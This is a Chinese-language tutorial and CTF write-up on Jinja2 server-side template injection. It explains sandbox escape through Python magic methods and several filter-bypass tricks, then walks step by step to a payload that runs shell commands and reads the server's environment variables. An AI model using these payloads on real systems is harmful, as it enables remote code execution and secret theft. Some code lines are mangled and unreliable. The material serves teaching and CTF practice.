概念
定义
服务器端模板注入(Server-Side Template Injection)
服务端接受攻击者的输入,将其作为Web应用内容的一部分,在进行代码编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容,从而导致信息泄露、代码执行、GetShell等问题
模板引擎和渲染函数本身是没有漏洞的,该漏洞的产生原因在于程序员对代码的不严谨与不规范,导致了模板内容对用户可控,从而引发代码注入
主要框架
- Python: jinja2、mako、tomado、django
- Php: smarty、twig
- Java: jade、velocaity
典型:动态欢迎语
引擎判断
Flask模版
Flask框架是python的Web开发框架,他使用的模板引擎是Jinja2
Flask中的渲染方法有两种:
render_template()
:用于渲染指定的文件render_template_string()
:用于渲染一个字符串,是产生模板注入的主要函数
渲染引擎Jinja2会将{{xxx}}视为变量标识符,会将其中包含的内容作为变量处理,从而包裹的语句被执行
但是由于模板本身带有沙盒安全机制,有自己独立的代码执行环境,并不能实现任意代码执行
沙箱逃逸
当前对象所属的类没有想用的函数和方法,可以尝试找父类以及父类的其他子类,获取可利用的函数和方法
沙箱逃逸流程
- 找到变量对象所属的类
- 回溯基类
- 查看父类的所有子类
- 筛选可利用子类
- 构造Payload
可利用魔术方法
方法 | 描述 |
__class__ | 返回对象所属的类 |
__bases__ 或 __mro__ | 返回该类的所有父类 |
__subclasses__() | 返回继承该类的所有子类 |
__init__ | 返回类的初始化方法 |
__globals__ | 返回当前位置所有可用的全局变量 |
可利用类和方法
Python3方法
os._wrap_close类(命令执行)
- system方法
os.system('命令')
- popen方法
os.popen('文件或命令).read()
Python2方法
file类(文件读取)
- 用法:
file('文件地址').read()
warnings类中的linecache方法
- 用法:
.__init__.func_globals['linecache'].os.popen('命令').read()}}
通用方法
__builtins__代码执行
该方法下存在eval
和__import__
函数,都可以用于命令执行
很多类下都包含 __builtins__方法,如warnings.catch_warnings
、email.header._ValueFormatter
等
如果有很多个类的情况下,可以写个脚本批量执行每个类的__builtins__方法,确定是否存在此方法,存在即可利用
- 用法:
类()._module.__builtins__.__import__.(os).popen('系统命令').read()}}
绕过方法
过滤 .
- 可以用['']来代替
- ['import'] === .import.
- 可以使用attr()
- 对象|attr('方法')
- 可以使用getattr()
- 对象getattr((),"方法")
过滤下划线_
编码绕过
- 下划线hex编码后\x5f
- 点编码后为\x2E
特殊字符过滤
- 可用字符拼接绕过
- 如system==='sys'+'tem' (加号可用可不用)
- 用join拼接
- 如system===attr(['sys','tem']|join)
取值中括号被禁用
可用__getitem__或pop来代替
魔术方法中括号被禁用
可用__getattribute__("方法")替代
CTF例题
某个实验性笔记网站允许用户输入名字生成动态欢迎语,但似乎存在安全隐患。你能找到藏在服务器上的FLAG1吗?
1. 引擎判断
输入:{{2+3}}
,返回
双括号内的内容执行了,下一步填入{{7*'7'}}检查返回结果
可以判断为是jinja2框架
由于双括号内的内容会执行,所以可以把要执行的方法放在双括号之间进行测试
2. 查看当前类
输入:{{''.__class__}}
注意__class__
前要加上''.
,''
代表一个对象
确定当前类名为 str
3. 查看父类
输入:{{''.__class__.__bases__}}
4. 查看父类的其他子类
输入:{{''.__class__.__bases__[0].__subclasses__()}}
注意{{''.__class__.__bases__}}
返回的内容是个数组,所以如果想查看父类的其他子类时需要加上下标,比如这里是{{''.__class__.__bases__[0]}}
5. 确定可利用类
有很多类,我们需要判断出可利用的类有哪些
- 方法一是直接检索常见的可利用类,比如
warnings.catch_warnings
等 - 方法二是可以写个脚本批量执行每个类的__builtins__方法,确定是否存在此方法,存在即可利用
这里我们先利用方法一,可以检索到存在warnings.catch_warnings
{{''.__class__.__bases__[0].__subclasses__()}}
返回的内容同样是个数组,所以我们需要知道warnings.catch_warnings
类在数组中的下标才可以利用,可以直接数出在第几个,也可以写个脚本跑出来:
# 全文复制到双引号内
list = "......".split(", ")cnt = 0
for className in list:if "warnings.catch_warnings" in className:breakelse:cnt += 1
print(cnt)
执行脚本输出166
输入:{{''.__class__.__bases__[0].__subclasses__()[166]}}
获取到可利用类
6. 具体利用与绕过
warnings.catch_warnings
的一般利用方式为:
类()._module.__builtins__.__import__.(os).popen('系统命令').read()}}
所以输入的内容为:
{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__.__import__.(os).popen('系统命令').read()}}
可能会有一些字符被过滤,我们可以一步步尝试
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module}}
,输出正常
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__}}
,输出正常
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__.__import__}}
,输出异常
__import__
触发了过滤,属于特殊字符过滤,尝试绕过:
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']}}
,输出正常
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__'](os)}}
,输出异常
(os)
触发了过滤,属于特殊字符过滤,尝试绕过:
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s')}}
,输出正常
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('pwd')}}
,输出正常
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('pwd').read()}}
,输出正常
之后就可以执行任意命令了
搜寻了一阵,发现没有与flag相关的文件
flag还有可能藏在环境变量中!
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('env').read()}}
或者
输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').environ}}
成功找到flag